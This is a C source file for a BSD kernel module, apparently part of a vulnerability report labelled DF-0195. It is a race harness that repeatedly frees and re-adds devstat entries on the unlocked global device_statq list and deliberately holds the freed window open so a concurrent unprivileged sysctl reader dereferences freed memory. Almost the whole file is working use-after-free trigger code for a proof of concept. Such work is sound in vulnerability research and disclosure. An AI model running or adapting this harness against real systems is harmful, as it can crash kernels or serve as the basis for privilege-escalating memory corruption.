DF-0195 / ds195_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | /* * DF-0195 detach-side harness. * * PURPOSE: simulate a device being detached (devstat_remove_entry + kfree of * the containing object) on the unlocked global `device_statq` list, to race * an unprivileged user reading the world-readable sysctl `kern.devstat.all`. * In a real deployment the detach side is a USB/CAM hot-unplug or a privileged * `mdconfig -d` / `camcontrol` action; this harness merely accelerates that * event to win the race in finite time. The unprivileged victim is the sysctl * reader (see reader.c); this module is root-loaded ONLY as a detach trigger. * * This module does NOT change the kernel -- it exercises the existing, * unlocked devstat_add_entry()/devstat_remove_entry() on sys/kern/subr_devstat.c. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/kthread.h> #include <sys/devicestat.h> MALLOC_DEFINE(M_DS195, "ds195", "DF-0195 devstat race harness"); #define NPOOL 24 static struct devstat *pool[NPOOL]; static volatile int ds195_stop; static struct thread *ds195_td; static void ds195_add(struct devstat **p, int i) { *p = kmalloc(sizeof(struct devstat), M_DS195, M_WAITOK | M_ZERO); devstat_add_entry(*p, "ds195", i, DEV_BSIZE, DEVSTAT_NO_ORDERED_TAGS, DEVSTAT_TYPE_DIRECT | DEVSTAT_TYPE_IF_OTHER, DEVSTAT_PRIORITY_OTHER); } static void ds195_thread(void *arg __unused) { int i; for (i = 0; i < NPOOL; i++) ds195_add(&pool[i], i); /* * Churn: detach (remove + free) the whole pool, hold the freed window * open briefly so a concurrent sysctl walker can dereference a freed * node, then re-attach. This is exactly the device-detach lifecycle. */ while (!ds195_stop) { for (i = 0; i < NPOOL; i++) { devstat_remove_entry(pool[i]); kfree(pool[i], M_DS195); pool[i] = NULL; } /* opened freed window: let the sysctl walker run */ tsleep(&ds195_td, 0, "ds195free", 1); for (i = 0; i < NPOOL; i++) ds195_add(&pool[i], i); tsleep(&ds195_td, 0, "ds195live", 1); } for (i = 0; i < NPOOL; i++) { if (pool[i] != NULL) { devstat_remove_entry(pool[i]); kfree(pool[i], M_DS195); pool[i] = NULL; } } ds195_td = NULL; wakeup(&ds195_td); kthread_exit(); } static int ds195_load(module_t mod, int cmd, void *arg __unused) { int error = 0; switch (cmd) { case MOD_LOAD: ds195_stop = 0; error = kthread_create(ds195_thread, NULL, &ds195_td, "ds195"); kprintf("DF-0195 harness loaded; churning device_statq\n"); break; case MOD_UNLOAD: ds195_stop = 1; while (ds195_td != NULL) tsleep(&ds195_td, 0, "ds195unld", hz); kprintf("DF-0195 harness unloaded\n"); break; default: error = EINVAL; break; } return (error); } static moduledata_t ds195_mod = { "ds195", ds195_load, 0 }; DECLARE_MODULE(ds195, ds195_mod, SI_SUB_EXEC, SI_ORDER_ANY); MODULE_VERSION(ds195, 1); |